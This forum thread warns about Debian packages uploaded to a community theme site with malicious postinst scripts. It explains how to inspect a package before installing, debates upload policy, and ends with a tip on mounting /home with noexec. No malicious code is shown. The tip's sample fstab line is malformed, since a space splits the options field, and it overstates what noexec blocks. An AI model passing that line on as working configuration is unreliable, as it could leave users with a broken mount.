Dangerous .debs


Artwork
Description:

This has happened before:
http://ubuntuforums.org/showthread.php?t=1349678
and it is happening now: some script kiddies are uploading .deb packages with malicious postinst files.

Be careful with .debs. Never install .debs downloaded from OpenDesktop.org without first checking them with Archive Manager.

Right-click on the downloaded .deb and select Open With Archive Manager. Enter the DEBIAN folder (or the control.tar.gz archive) and if you find a postinst file there then read it with a text editor. Do not install it if it contains malicious code. Copy the code, go back to the content page, click on Report inapropriate content and paste the code in.

there should be some mechanism that either disallows users from uploading stuff before a certain level of community interaction (like posting comments or whatever) or scans the .debs that are uploaded. Maybe both! Reading through a postinit file is nice and all, but what happens if someone uploads some malicious binaries? This whole problem is really a major security issue...

Yes. That´s a difficult problem to solve.
I deleted accounts from this guy a lot the past few days and deleted the uploads also of course.
A automatic virus detection is difficult because this could also be a binary file which is difficult to detect.

But I have collected all the IP adresses from him and plan to report it to the police in great britain in the next few days. This is where he is from.

Hi Frank.

Perhaps you should put a file filter on the site and make it not to include debs?, deviantART does this I suppose they could get around that by just taring the deb up but still.

Distributing binaries is not good for security.

But it is still possible to add a link to third party file sharing site what includes the deb.

Thats why I would rip off the feature to have those files linked to third party sites.

I believe we should take hard stand towards script kiddies and protect the "Windows-like" installation.

The Linux systems has been secure for decades because we have package systems in use. What means that user use package manager to download packages from secure package repositories and only from them.

Now the security line is compromised. By two reasons.

1) People are suggested to add unofficial package repositories (Example canonical PPA'a!)

2) People are suggested to download and install packages from websites.

What is needed to do. Is to tell every distributor that they should not support or anyway suggest to use third party repositories (this includes a lot Canonicals stupid actions).

And then get rid of the possibility to get pre-compiled packages from community sites, like these.

People should not be possible to even post such here. Everything what here is, should be only possible to be a secure from script kiddies. Of course anyone can find a security flaw in picture viewer/browser and send a JPEG/PNG image what triggers it. But when allowing to download anything what can have scripts, it is already a like searching problems.

We can make technically the software system secure, but we can not make the user account secure against user own stupidity. When being less skilled (like today most who start using distros like openSUSE, Mandriva or Ubuntu), they are more targeted by social attacks.

 Malicious deb's and scripts

 
 by elmigueluno on: Feb 11 2011

The solution will be not install third-party themes packages via deb's. Neither use scripts that ask for the root password, unless, you know well you do, after read those scripts i mean. But for scripts that change files in user directory, why can we do?

pretty much nothing except read them AFAIK Even though, I think it could help to implement some sort of trust rating system, similar to ebay's perhaps. That way, the community could vote on members trustworthiness.

"But for scripts that change files in user directory, why can we do?"
--------------

You can mount your /home partition with "noexec" flag.

This will disable all executable scripts/files and programs placed at /home partition, even if you manually change file permission to "executable" and try to run any of it - manually.

This also disable some trusted programs. If any.


To do this, open (as root) file:

/etc/fstab


- use Gedit, Mousepad etc., find entry for /home partition and add this and the end of line, preceded by a comma:

noexec

Simply - reboot your machine. Or remount it manually.

For example - my partition:

/dev/sda3 /home jfs noatime, noexec 0 2


Making a copy of actual "fstab" file will be a good move.

If some of your trusted programs not work after that modification (like locally installed programs), just edit "/etc/fstab" file again - remove
", noexec" and reboot/remount.



You've been warned for possible inconvenience.
